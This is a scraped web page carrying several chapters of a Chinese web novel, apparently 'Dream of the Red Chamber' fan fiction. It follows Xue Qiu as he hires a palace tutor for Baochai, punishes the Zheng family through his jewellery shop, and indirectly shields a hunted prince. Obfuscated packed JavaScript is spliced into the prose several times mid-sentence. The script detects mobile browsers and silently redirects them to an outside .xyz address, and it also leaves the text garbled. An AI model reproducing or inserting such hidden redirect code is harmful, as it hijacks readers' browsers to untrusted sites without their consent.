一行人回到家，看门的小厮忙卸掉门槛，方便马车进去，趁机回禀：“方才郑家老爷来过了。” 薛虯放下书：“郑启元亲自来的？” “是。” “除了他还有谁？” 小厮：“还有几个仆从。” 薛虯点了点头：“他人呢？” “听说大爷和太太都不在，郑老爷回去了，不过留下了东西。”说着便将礼单奉上。 薛虯将礼单收了，没有立刻看，到了正院，服侍着薛母坐下，他才打开礼单瞧了瞧。 郑家的礼物还算丰厚，珍贵的药材和补品是给薛蟠的，珍宝摆件及两本道家孤本是给薛虯的，另有几套名贵头面是给薛母和宝钗的，称得上面面俱到。 薛虯眼皮动也没动，淡淡吩咐：“孤本送去灵应观，其他的收到库房吧。” 薛家最不缺的便是药材和补品，外头的再好也很难比得上，珍宝摆件和首饰更不缺，薛虯也不会让薛母和宝钗轻易用别人送的东西，他自有更好的给母亲和妹妹。 薛母也看到了礼单，笑道：“郑家还算有诚意，可见我儿有能耐，叫郑启元也忌惮三分呢！” 她面上带着十分得意，对于一个母亲来说，再没有什么比孩子出息叫她高兴了。 薛虯不置可否。 一点东西罢了，薛家没看在眼里，郑家也未必放在心上。郑启元若真有心，就该带着郑六登门致歉，但他并没有这么做，可见对薛虯依旧没多少忌惮。 也是，毕竟刀没有割到郑启元身上，他不会觉得疼。 对付这样的人，就得一次将他打服，怕了，也就怂了，否则即便暂时低头，逮住机会也会反咬主人一口。 他不欲让薛母知道这些，免得她烦心，转而说起另外一件事：“宝钗既然要选秀，规矩也该好好学一学了。” 宝钗的规矩自然很好，但皇宫规矩繁杂，与民间大为不同，既要入宫，少不得重新学一遍，免得进宫后犯了忌讳，平白给自己惹麻烦。 薛母连连点头：“我儿想得很是，得给宝钗找个教导嬷嬷，最好还得是从宫里出来的，只是这猛然间，我还真不知哪有这样的人。” 京都倒是有很多宫里出来的嬷嬷，只是这山高水远，一来一回几个月都过去了，至于金陵附近，倒不曾听说谁是宫里出来的。 薛母正要使人去打探打探，薛虯便开口道：“母亲不必劳心，儿子已经请了一位姑姑，前儿才到金陵，如今就在客院住着呢。” 薛母大喜，连忙叫人去请。 不多时，一个三十多岁的女子被丫鬟带着进来，她身材高挑纤瘦，长相打扮并不如何出众，然而行动举止行云流水，脸上带着和煦的笑意，瞧着便心旷神怡。 她福身行礼：“妾身陈氏见过太太、大爷、姑娘。” 语调轻柔婉转，十分动听，薛母一下就爱上了，连忙道：“陈姑姑快别多礼了，坐下说话吧。” 丫鬟搬了马扎来，陈姑姑又行了一礼，小心坐了一半，含笑与薛母道：“我从前是负责教导新入宫的宫女规矩的，因着年岁大了，承蒙圣眷，今春被放了出来。我老家是镇江府的，父母前些年都不在了，如今家中只有一个兄弟。” 薛母心中了然，以陈姑姑的年纪，只怕她侄子侄女都长大成家了，她留在家中实在尴尬，倒不如出来谋一份差事。 她道：“能教导宫女规矩，可见姑姑的本事，日后宝钗便麻烦您了。” 宝钗上前行了一礼，口称：“见过姑姑。” 陈姑姑忙要避开：“不敢当姑娘的礼。” 宝钗柔声道：“姑姑教导我规矩，便是我半个先生，先生受弟子的礼，岂不是理所应当？” 陈姑姑便没有再躲，只是略微侧身，受了半个礼，细细打量宝钗片刻，眼中满是赞叹：“真是好品格，便是在京都也少见呢！” 薛母心思一动：“依姑姑看，宝钗有几成的希望中选？” 陈姑姑先问宝钗读什么书，日常做些什么，又叫她写了几个字，宝钗都一一照做。陈姑姑沉吟片刻，说道：“单论相貌人品，便是做公主伴读也是尽够的。只是……” 后面的话没有说完，但薛虯和薛母都明白，选伴读不止看本人，也要看她背后的家族势力，要想选上，还得家族使得上力才行。 薛虯：“母亲和妹妹只管准备选秀，其他的便不必管了。” 薛母果然便不管了，笑呵呵给陈姑姑安排住处：“绛云阁距离宝丫头的院子近，又清幽安静，方便姑姑教导，你便住在那里吧。” 陈姑姑应是。 薛母：“月例便按一个月十两银子，四季衣裳鞋袜、逢年过节另有节礼红封。” 这待遇相当优厚，哪怕只能做几个月，也有将近百两的银子，更别说若教导得好，主家还会额外赏赐，若得了主家青眼，将她多留几年，甚至留下奉养也未可知。 陈姑姑道了谢，跟着丫鬟下去安置了。 等人出去了，薛虯对宝钗意味深长道：“陈姑姑久侍宫闱，对宫廷内外十分了解，你有什么不懂的尽可以问她。” 宝钗便明白了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440972|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大哥已经打点好了，可以问一些隐秘的事，不用顾忌太多。 她对薛虯点点头，表示自己知道。 薛虯收回目光，又说：“规矩也就罢了，宝钗从前最爱读书，父亲也说宝钗聪慧不输男儿，功课也该再捡起来。” 这点薛母也是赞同的，宝钗打小就爱念书，每日都要花三四个时辰念书写字，小小年纪，难为她也坐得住。只是去年她的先生因家中有事请辞，还没找到新的先生，薛父便猝然离世，一时顾不上宝钗。 宝钗也懂事，见薛蟠不顶事，薛母一个人打理内外，忙得焦头烂额，就主动做一些力所能及之事，倒顾不上念书了。 薛母看在眼里，如何能不心疼，只是从前没有办法。如今外头有薛虯顶着，薛母管理内宅得心应手，倒不用宝钗操那么多心了。 她道：“既然如此，便给宝钗寻个合适的女西席吧。” 顿了一下，薛母看向薛虯：“莫非你连宝钗的西席也找好了？” “没有。”薛虯摇摇头，“何必另寻什么西席，咱家不是现成就有一个吗？” 薛母愣了一下才反应过来，他指的是教导薛蟠的先生，连忙拒绝：“不妥！哪有叫外男教导姑娘的道理？” 薛虯便道：“旁人不让外男教导家中姑娘，是因为男子与女子学的东西不同，但宝钗既要入宫，旁的也就罢了，史书经义却要多学一些，这些东西女子却是教不得的。” 不是薛虯性别歧视，而是现状便是如此。女子读书只为不当睁眼瞎，多以女德女诫为主，了不得学几本诗词，旁的便不如何学了。既不学，又如何教呢？ 薛母张了张嘴，到底没有说什么。她自己没什么学问，只是认得字罢了，还是成婚后薛父教的，却也知道读书有用。她的女儿要到那吃人的地方拼命，自然是手里的刀剑越多越好，她做母亲的，哪有不支持的道理？ 终究只是一叹：“那也罢了，我叫人支一架大屏风，再多派几个人伺候着便是，即便传出去也没人能说出什么。只不知先生是否愿意。” 先生当然不愿意，但薛虯把钱给到位，他也就屈服了。 唯一受伤的就是薛蟠，毕竟他的学习进度与宝钗不同，不过他反正本来也不怎么听，若能受宝钗刺激多念两页书，对他来说也是好事一桩呢。 此事就这么定下了。 薛虯还有事忙，不便在这边久留，略坐一会儿便告退了，走之前又想起一件事，回头说道：“明日我去拜访孙老，宝钗与我同去吧，让他再给你把把脉。” 宝钗应下了。 14.第 14 章 回到书房，长瑞已经在等着了。 薛虯问：“如何？” 方才回来的路上情况不太对，薛虯让他去查一查。 长瑞面色有些凝重，压低了声音说：“小人什么都没查到。” 薛虯闻言皱起了眉，立刻道：“将人手都撤回来，不要再查了。” 在金陵这个地界，极少有薛家打探不到的消息，再联想到那些人的身份，只怕里头的事情不小。他们什么都不知道，贸然插手只怕不妥。 长瑞小心道：“咱们的义诊要不要停了？” 这背后的人只怕不简单，也不知道在找人还是找东西，眼下金陵因为义诊之事沸沸扬扬，定会对他们有所阻挠，若因此记恨薛家就不好了。 薛虯摇摇头：“说好了义诊三日，突然停了才叫人奇怪，只当不知道，一切如常便是了。” 顿了顿，他又说：“到年下了，每年这时候咱们家都要施粥，今年多事之秋，便早些开始，多施上几日吧。” “是，小人一会儿就通知下去。”长瑞应道。 薛虯手指在桌上轻轻点了点，今年夏天江南雨水丰沛，长江水位上涨，常州一带的一段堤坝被冲破，洪水泛滥而出，淹了附近的一个县城，听说距离最近的几个村子整个都被冲没了。 事情发生后，附近州府纷纷救援，各大商户也出钱出粮，总算没叫事情恶化下去，但百姓和朝廷的损失也难以挽回了。 更要紧的是，那堤坝新建不久，本不该如此脆弱。这次决堤实在出乎预料，皇帝龙颜大怒，斩了当地县令，命四皇子赴江南调查决堤一事。 算算时间，四皇子到江南也该有两三个月了，若调查顺利，也该有所突破。若他没有猜错，这次的事便与四皇子有关，更有甚者，那些人找的就是四皇子本人。 薛虯心里蠢蠢欲动，他正想与四皇子交好，倘若能助他度过此劫，便可借此一飞冲天。即便被搜查的不是四皇子本人，能帮上他的忙也是好的。 但薛虯思索片刻，还是放弃了这个想法。薛家在金陵自然是地头蛇，然而对方能耐也不小，倘若被他们顺着薛家的动作找到四皇子，那才是弄巧成拙。 现在这样就很好，义诊和施粥能帮上四皇子最好，帮不上也无妨，四皇子为人务实，看到薛家行善助民，必定心存好感，如此便足够了。 至于他是否能逃脱，薛虯并不担心，四皇子绝非冲动莽撞之人，必定有周密的安排，即便出了岔子，也不至于毫无自保之力。 但为保万全，他还是令长瑞派人盯着搜寻的那些人，若有不妥便可及时出手。 正如薛虯所料，被搜寻之人正是四皇子，且并非简单的搜寻，而是追杀。对方人多势众，他却只带着四个护卫，期间死了两个，一个重伤昏迷，另外一个也受了伤，就连他自己也被砍了一刀。 他提前安排了人接应，可是接应的地方距离此处还有些距离，收到消息找过来也要一段时间，而他们几人伤势颇重，若得不到医治，还不知道能坚持多久，偏偏追兵来势汹汹，他们根本不敢进金陵求医。 幸好薛家就在城外义诊，往来求医之人极多，什么样的病症都有，唯一能动的那个侍卫买了身村民的衣裳换上，又用尖利的石头将伤口伪装成意外，趁乱领了药材和几瓶金疮药来，这才给四皇子和重伤的侍卫止住了血。 当天夜里，四皇子正睡得迷迷糊糊，恍惚听到外头有动静，醒了过来。便见屋里的火已经灭了，月光下，隐约看到侍卫执剑站在门口。 他没有开口，因为清醒过来，外面的动静便很清晰了，应该是追兵找到了附近。 四皇子没心思纠结哪里露了马脚还是单纯倒霉，只想着怎么如何脱身，现在的情况已经超出了他的预料，倒不是没有脱身的法子，只是他本就失血过重，理应好好休养，再这般劳累奔波，恐怕会有损根基。 但眼下这情况，也只能两害相权取其轻了，四皇子正要开口叫侍卫带着重伤的同伴和他一起出去，外面的动静又变了，似乎有人在与追兵交涉。 茅草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459744|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋里安静无比，隐约能听到外头的声音，有个汉子扯着嗓门喊：“你们什么人，干什么的？” 追兵那边安静片刻，才有个人开口：“你们是什么人？” “我们是薛家庄子上的，主家明日要施粥，让我们多送些米粮过来，可惜来得晚了些，城门已经关了，这才来找个地方落脚。”汉子似乎看到了追兵的阵仗，有些胆怯，“你……您几位也是来这里落脚的吗？” 追兵：“……” 他们属于无证搜捕，又不是什么光彩的事，当然不能大张旗鼓，眼瞧着有这帮人在，这个地方是没法搜查了，追兵们一声不吭地策马离开了。 里头的四皇子等人这才松了一口气。 薛家，又是薛家。 今天第二次受到这家帮助了。 四皇子低声道：“金陵薛家，是王子腾的亲戚吧？” “是，薛家的主母是王子腾的妹妹。”侍卫不敢点火了，只能把方才点着的火堆清理干净，脱掉外袍铺在这块地上，扶着四皇子重新躺下。有火堆的余热，好歹暖和些，免得这寒冬腊月的冻坏了。 他道：“薛家的当家人去世了，不过他们家小爷挺有能耐。这场义诊就是他办的，原是因为薛家药铺出了岔子……” 他将前因后果说了一遍，此事在附近也算稀罕事，他难免听了几耳朵，只是四皇子事务繁忙，不关注这种小事罢了。 如今听侍卫说了，也颇为赞叹：“他倒是聪明。” 壮士断腕，虽然一时利益受损，但却利在长远。能想到这个法子已经难得，更重要的是他有这样的气魄，不是谁都能放下眼前利益的！ 护卫：“还有一件事，您听了必定更惊讶。” “哦？”四皇子来了好奇。 护卫便笑道：“您有所不知，这位小爷今年才十三岁呢。” 四皇子果然十分惊讶，单看此人处事已经很难得了，若他年纪才不过十三，那未来真是不可限量。 他心里对薛虯升起了一丝好奇。 15.第 15 章 此时薛虯尚且不知自己的计划能如此顺利，将事情安排下去后，他便从书架的上层拿下两个匣子，叫锦书分别给薛母和宝钗送去。 锦书先到薛母处，薛母已经去掉簪环、换上寝衣，只待收拾停妥便要歇息，听到小丫头说锦书来了，连忙让人请她进来：“这么晚过来，可是虯儿有事？” “大爷无事，只是让奴婢送东西过来。”锦书行了礼，将其中一个匣子奉上。 薛母疑惑地打开，便见里头是一套头面。样式并不复杂，但是配色十分别致。主体是打磨得圆润通透的黄翡，其间以小些的绿翡点缀，黄翡的温润柔和与绿翡的鲜艳夺目交相辉映，令这套头面既鲜亮又雅正。 更妙的是，宝石四周镶嵌的不是常见的金银，而是另外一种宝石。 薛母叫人取来眼镜，戴上细看片刻：“是金刚石！” 薛家也做珠宝生意，故而对金刚石并不陌生。 因金刚石质地坚硬，常被用做切割玉石的工具。近些年也有人用金刚石做首饰，不过并不常见。不想薛虯用它作为点缀，令原本就珠光宝气的头面更加光彩夺目，若是到了日头底下，必定更加好看！ 锦书笑眯眯道：“大爷说郑家送来的头面不好，配不上太太的气度，倒是这套正合适。” “净胡说！人家送来的也是极好的，哪里就配不上我了？” 虽然这么说，薛母脸上却满是笑意。儿子孝顺，做母亲的哪有不高兴的？更何况这套头面的确极美，薛母十分喜欢。 她叫人把东西收起来，打算过年的时候再戴。锦书告退：“奴婢还要往姑娘那边去。” “去吧！”薛母闻言更加高兴，厚赏了锦书，让她出去了。 锦书捧着另一只匣子到了宝钗住处，宝钗还未曾歇息，正在灯下看书。锦书将在薛母处说的话重复了一遍，打开匣子给宝钗看。 《红楼梦》原著里说宝钗不爱花儿粉儿，其实不然。女孩子没有不爱美的，宝钗也不能免俗，她只是不爱富贵繁复，偏爱素雅的打扮罢了。 薛虯给宝钗的便是一套珍珠头面，珍珠并不很大，但是圆润细腻，更难得的是泛着淡淡粉红之色，雅致中不乏少女的柔媚活泼。 宝钗果然很喜欢，笑问道：“这成色的珍珠可不好找，哥哥从何处寻来的？” “是从几个洋人手里买的，统共就这么些，全给姑娘制成头面了。”锦书回话道。 宝钗拿起项链细看，见设计独特、做工精致，便问：“家里又来好银匠了吗？” 这个锦书也不知道，宝钗也没有追问。 却不知此物虽为银匠所制，图纸却来自于薛虯。 在他的那个梦里，他也是出身百年世家，自小被当做继承人培养，父母对他没多少感情，但是要求十分严格，豪门继承人需要的技能必须会，非必需的技能也要会，薛虯没有直接学设计，但是学过绘画和珠宝鉴赏，画几套首饰出来并不难。 他用了几日功夫，将后世的一些巧思与大庆审美相结合，又找大匠加以润色，做成了这么几套头面。 这两套专为薛母和宝钗所制，另有几套却是打算送去银楼售卖的。 薛家也有银楼，只是不比专研此道的郑家红火。都说新官上任三把火，薛虯已经点了两把，这便是第三把。 一来，若能把不温不火的银楼盘活，底下人和金陵百姓会对他更有信心。二来，也是对郑家无礼的一点小小回报。 郑家银楼之所以受欢迎，不外是养着几个好银匠，总有新鲜款式的缘故。但这时候首饰发展已至瓶颈，再怎么琢磨都差别不大，哪里比得上薛虯站在巨人肩膀上，来自数百年后的样式？ 薛虯本来没打算用这个法子，薛家产业颇多，能烧这把火的地方多的是，但郑家不给薛虯体面，也就不能怪薛虯不给他们体面了。 次日，薛家银楼推出新的款式，很快引起骚动。而薛虯和宝钗则带着厚礼，登上了去孙府的马车。 孙家收了拜帖，早就做好了准备，薛虯和宝钗一到，就被引到孙老的住处。 孙老已经年近八十，然而看起来不过六十来岁，精神矍铄，耳聪目明。他夫人早逝，儿子在京都做御医，自己一个人带着两个孙子生活，不过他沉迷医术，倒不觉得日子难熬。 见到二人进来，他先捋着胡须上下打量薛虯片刻：“气色比数月前更好了，过来我给你把把脉。” 薛虯依言坐下，伸出手让孙老把脉。 孙老凝神细听，片刻后收回手，目中满是赞叹与恍惚：“一丝病灶也无，那灵应观果真如此神异！” 他其实不大相信，相比于神鬼妖魔，他宁愿相信是观主偷偷给薛虯用了药。只是若果真有此神药，灵应观没必要藏着掖着，孙老将灵应观的丸药研究了遍，也没发现哪一味有如此效果。 可把老头纠结坏了！ 给薛虯把完脉，孙老又对宝钗招手：“我再瞧瞧你。” 是的，薛虯让宝钗同来，就是为了请孙老看病的。 宝钗身子还算康健，唯有一处不妥，便是从娘胎里带出来的热毒，不犯也就罢了，一旦发作便咳嗽不止，十分磨人。 好在此病并非不能治，孙老治不了薛虯，却能治得了宝钗。又是汤药又是药膳地调养了几年，倒也慢慢好了，这几年已经很少复发。不过以防万一，隔一段时日还是要复查一次。 说到宝钗的病，薛虯便想起原著中的冷香丸。前几年的确有个癞头和尚找到薛家，说有海上仙方可治府上姑娘的病，还给了“不离不弃，芳龄永继”八个字，让刻在金锁上叫宝钗随身戴着。 不过彼时宝钗的病已经好多了，薛父根本没把此人的话当真，客客气气将人送出去，转头就将此事抛到了脑后。 孙老给宝钗把完脉，笑呵呵道：“不错不错，调养得很好。” 薛虯和宝钗也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466229|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了出来。 孙老收起脉枕，问道：“听说你们要去京都了？” “是。”薛虯颔首，“孙伯父也在京都，您可要与我们同行？” 孙老摆摆手：“我受不了船上的颠簸，且也舍不下我的药舍，便不去了。不过可以多配些药给你们带着路上用。” 又看向宝钗：“你伯父在太医院还算有点本事，宝丫头有什么难处便去找他。” 岂止有点本事，孙老的儿子孙书言已经是左院判，太医院的二把手。 宝钗柔声应了。 二人陪孙老说了会儿话，又一起吃了顿饭，这才起身告辞。临走之前薛虯提醒道：“过年了，城中难免乱些，无事您就不要出门了。” 孙老若有所思，点头应了。 * 与此同时，京都荣国府。 王夫人收到了金陵来信，她不认识字，让小丫头念给她听。 听到薛蟠当街将人打成了重伤，王夫人垂下眼睑，掩饰住那一丝不屑。她一向不喜薛蟠，觉得他浪荡无能，远不如她的宝玉乖巧。 只是此事甚大，倒不曾收到薛母求助。 很快她就明白了，原是薛虯回来了，找人医好了那冯公子，与对方和解了。 王夫人愣了一下：“这孩子倒有成算。” 从前王子腾也夸过薛虯，王夫人还不以为意，如今看来的确有独到之处。又不由想起长子贾珠，少不得抹一场泪。 待听到薛夫人拒绝上京，王夫人脸色缓缓沉了下来。 她盛情邀请薛母和宝钗来荣国府小住，自然不仅是为了姐妹之情，主要还是为了宝玉。 两年前小姑子贾敏病逝，她的独女林黛玉被接到荣国府教养，和宝玉一同养在老太太院子里，两个孩子朝夕相处，竟似有了些情分，老太太也有意撮合两个玉儿。 这可戳到了王夫人的废管子，她从前便与贾敏不对付，更不喜贾敏的女儿，更何况林黛玉是个病秧子，性子又矫情做作（王夫人视角，与作者无关），她才不想要个这样的儿媳妇。 王夫人不敢直接跟老太太提，也怕宝玉和林黛玉再这样相处下去不好收场，便想着将宝钗接过来。宝钗容貌品格不比黛玉差，宝玉见了必定喜欢，能分散些他放在黛玉身上的心思。 自然，王夫人也没想着叫宝玉娶宝钗，宝玉是公府嫡孙，长得好又聪明，还是衔玉而生的天命之人，即便不能尚公主，娶个郡主县主总使得，宝钗不过商户之女，哪里配得上宝玉？ 等到宝玉娶了好媳妇，她做主给宝钗找个寒门进士，也算不辜负她了。 可惜了，她们不肯来。 那也罢了，未必非宝钗不可，听说老太太遣人去接史湘云去了，那也是个疯丫头，王夫人一点也不喜欢，不过宝玉喜欢和她说话，偶尔还能和林黛玉呛呛两句，也还算不错。 王夫人心里想着，拿着信纸往贾母所在的荣庆堂去了。 16.第 16 章 到了荣庆堂，远远便听到里头嘻嘻哈哈的声音，王夫人下意识皱起了眉，心中十分不喜。 小丫鬟挑起门帘，王夫人迈步进去，说笑的众人一静，纷纷起身见礼。 王夫人这才发现史湘云已经到了，正依偎在贾母身边说话，宝玉、黛玉并三春姐妹也都在。 她脸色微微一变：“宝玉怎么没去上学？” 贾宝玉脖子一缩，往贾母旁边靠了靠。贾母揽着他，没好气道：“小孩子家家，偶尔松泛松泛有什么要紧，你这般逼他做什么？” 王夫人一噎，心中极为不耐。念书贵在坚持，哪能三天打鱼两天晒网？偏偏她每次管教宝玉，老太太总要拦着，再这样纵容下去岂不耽误了宝玉？ 贾母看了她一眼，淡淡道：“昨儿宝玉没睡好，今儿起来便没精神，我才做主让他歇一天，念书再要紧，也比不上孩子的身子要紧。” 这倒是实话，王夫人想起积劳成疾的贾珠，没有再说什么。 贾母又问：“你来有什么事？” 王夫人回过神，将信纸拿了出来：“方才收到金陵的信，我拿来给老太太瞧瞧。” 贾母兴致缺缺，她虽然年纪大了，眼神却很明白，王夫人打什么主意她心里清楚，只是不想因这点小事拂她面子罢了。见王夫人拿着回信过来，她也懒得自己看，只叫鸳鸯读给她听。 听到薛家不打算来府里住，贾母紧绷的嘴角才松缓了些：“那也罢了，等她们与薛家大哥儿进京后再见罢。” 王夫人应了一声。 贾母又笑道：“你那个外甥倒是个好的。” 提到薛虯，王夫人看了和宝玉坐在一处的黛玉一眼，嘴角抿起淡淡笑意：“我也这么说，虯儿自小便聪明懂事，我那妹妹妹夫疼得跟眼珠子似的，便是身子不好，也要将家业交给他。也是这孩子有福气，去道观住了几年，身体竟是好了——” 说到此处，众人都觉得稀奇，道观竟真能治病不成？ 贾母便道：“你们小孩子家家不知道，这世上什么稀罕事都有，这都不算少见的。以后行事可要仔细些才好。” 小辈几人纷纷点头。 王夫人继续说：“如今虯儿命格已破，从观里回来了。他又是个有本事的，上孝敬母亲，□□贴兄妹，我那妹妹日子才好过些，否则没有可靠的男丁，还不知道她和宝钗的日子要过成什么样。” 此话一出，屋内好几个人变了脸色。 史湘云父母早逝，她跟着叔叔婶婶一起过活，并没有亲生兄弟可以依靠。三春虽然有兄弟，但是和没有没什么两样。 最难受的还是黛玉，三春的兄弟再不好，那也是至亲骨肉，史湘云没有亲兄弟，但堂兄弟待她也不差，遇到难处都会维护她们。唯有她一个兄弟姐妹也无，真真正正孤零零一个人。 若她有一个如薛大哥一般的兄长，又何必离开父亲，寄人篱下呢？ 黛玉当时没说什么，回去之后却哭了一场，半夜就起了咳嗽。 * 几日之后，薛虯收到了京城送来的消息。 薛家的生意涉及诸多方面，在京城有很多铺面，跟许多大户人家都有往来，想要打探些消息并不难。虽然不能直接打听到王夫人的心思，却能知道贾家大致情况，再结合王夫人的为人，也就能推断个八九不离十了。 薛虯冷笑一声，他这个好姨妈居然想拿他妹妹当刀子使，真是老寿星上吊嫌命长。 好在王夫人及时转换目标，没有非要拿宝钗做文章，否则薛虯就得让她知道什么是因果报应。 王夫人自身可不清白！ 薛虯没有瞒着薛母和宝钗，日后她们上京少不得跟贾家打交道，知道的多才好避免被算计，在这种事上他不会玩“为了你好所以瞒着你”那一套。 听了薛虯的话，宝钗也就罢了，薛母却不敢相信：“你姨妈怎么可能这么想？” “调查结果便是如此。”薛虯道，“母亲与姨妈多年未见，性子变了也是有的。” 其实叫薛虯说，或许王夫人本性便是如此，只是薛母从前从未看清过罢了。薛母的识人能力实在欠缺，好在嫁给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14474216|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了薛父，夫妻二人幸福和美地过了一辈子，若果真进了人际复杂的公侯之家，只怕要被吃得渣都不剩。 如此想来，当日外祖将嫡长女许给荣国府嫡次子，嫡幼女却许给皇商之家的薛家，未必是偏心长女，或是嫡幼女不够出色的缘故，反而正是一片慈父之心，替薛母挑了一门适合她的婚事。 薛母自然相信薛虯的调查，但也很难相信亲姐姐居然想着算计她的女儿，整个人都恍惚了。好一会儿才道：“其实若配给宝玉……” “妈！”薛虯还没说话，宝钗先出声打断，“姨妈心气儿高，哪里是咱们攀得上的？” 薛母却不这么想：“你姨妈心气儿再高，宝玉也不过是五品官家的儿子，既无功名，又无官职，国公府的产业跟他也没什么关系，凭什么看不上我们宝钗？” 说到这里，薛母声音一顿。 这样一想，似乎宝玉也不是什么良配啊…… 薛家有万贯家财，即便不能配什么高官，找个五品官家的嫡子却不难，还能细细挑一挑，找个稳重上进或者知道疼人的好郎君。更何况宝钗即将参加选秀，倘若能够中选，身价更是水涨船高，很不必和宝玉绑死。 事实也是如此，原著中若非薛家家道中落，宝钗也不会想要嫁给宝玉，试图借国公府的势支撑薛家。只可惜竹篮打水一场空，只能说时也命也。 薛虯给宝钗使了个眼色，让她安抚一下三观破碎的薛母，自己先忙别的去了。 出了正院的门，长瑞便迎了上来，说道：“郑启元带着郑六郎来了，想要见您。” 瞧，这不就学乖了吗？ 那几套首饰推出才不过数日，就已经在金陵引起轰动，以其设计精美、制作精良受到贵妇、闺秀们青睐。连带薛家银楼也跟着水涨船高，盛况远超其他银楼。郑家生意也受到了不小影响，难怪郑启元会着急，放下面子来给薛虯赔罪了。 长瑞：“大爷要见他吗？” “不见。” 哪有郑启元想见就见，不想见就不见的道理？先晾他几天再说吧。 17.第 17 章 之后几天，薛家银楼的生意持续火爆。 那几套首饰虽然受欢迎，但却不是无限制供应，银楼以材料稀缺、打磨耗时为由，许久才放出一套，且价格十分昂贵。 但金陵的女子们不仅没有意见，反而更加追捧，甚至开始有附近城市的闺秀特意遣仆从来金陵购买。 结果当然是买不到，但薛家银楼的名气却甚嚣尘上，在短时间内成了一块金字招牌。 如今金陵附近的女郎们都以拥有薛家银楼的首饰为荣，即便买不到最热门的几款，其他款式也不错啊。 如此一来，其他银楼不可避免受到了冲击。 尤其是郑家，他们家原本靠着款式新颖别致，牢牢把控金陵中高端市场，现下却被薛家后来居上，在年下这个生意旺季，他们的进账不仅没有增长，反而有下降趋势，连去岁的一半都比不上。 这还不是最要紧的，要紧的是这件事背后透露出的信息。 郑启元虽然倨傲，却不是傻子，郑家只是在珠宝这一块有些成就，比起枝繁叶茂的薛家还差得远。否则怎么薛父在时不见他摆架子？不过是不看好薛家，欺负孤儿寡母奈何不了他罢了。 但显然他判断失误，薛家这位大爷颇有能耐，薛家在他手里一时半会倒不了，且薛虯对他非常不满。 郑启元到底不敢硬扛，所以带着六儿子登门致歉，却没想到连薛虯的面都没见到就被打发回来，一张老脸黑红交加。 待看到仿佛鹌鹑一样缩着脖子一声不敢吭的郑六，顿时怒从心起，对下人道：“拿板子来，给我打这个不孝的畜生！” 郑六：“？？？” 郑六最后还是被打了，听说打了六十板子，比薛蟠足足多出二十，即便行刑之人有心放水，打完之后屁股也烂了，这个年只能趴在床上过。 听说因为此事，郑启元的夫人和老娘哭天抢地，闹得不可开交，郑启元干脆住到外室处不回家了，堪称一场年度大戏。 薛虯听到这个消息，终于有点满意了，这才是赔礼的态度嘛，两个孩子犯的错，哪有一个人承担的道理？ 这次郑启元再来拜访，薛虯便见了他。敲下一大笔利益后，答应放郑家一马。 没多久，薛家银楼迎来一波全面涨价。 这本就在薛虯计划之中，众怒难犯，即便是薛家也不能独占市场，在不可能砸自己招牌的情况下，最好的办法就是涨价，走高精尖路线，跟其他银楼打出差异。 如此一来，很多人买不起薛家银楼的首饰，便会转至其他银楼。至于买得起的那些，她们高兴还来不及！对大户人家的闺秀来说，一点子银钱不要紧，关键要花得值。 薛家银楼的东西贵，她们戴着有面子，这便是值得的。 此举出来后，薛家银楼的客流量下降许多，但是利润不减反增，从其他城市跑来金陵买饰品的人更多了，还有客商大量购买薛家的首饰，带往其他地方出手。 自然也有坏处，便是民间有些非议。不过薛家的首饰好看，品质又好，涨价原在预料之中，倒没有引起太大轰动。 触动最大还是金陵的商户们，早知道薛虯非等闲之辈，但也没想到他这么厉害，郑启元也算金陵有名的能人，薛虯说收拾就收拾了。众人心惊之余，对薛虯更加恭敬了。 * 时间过得飞快，腊月二十开始，金陵的年味儿越来越浓。腊月二十三祭过灶神，年节便算开始了。 薛家也准备起来，只是今年与往年不同，薛父新丧，过年也不宜太热闹。 鸡鸭鱼肉一概没有，全都用素菜代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 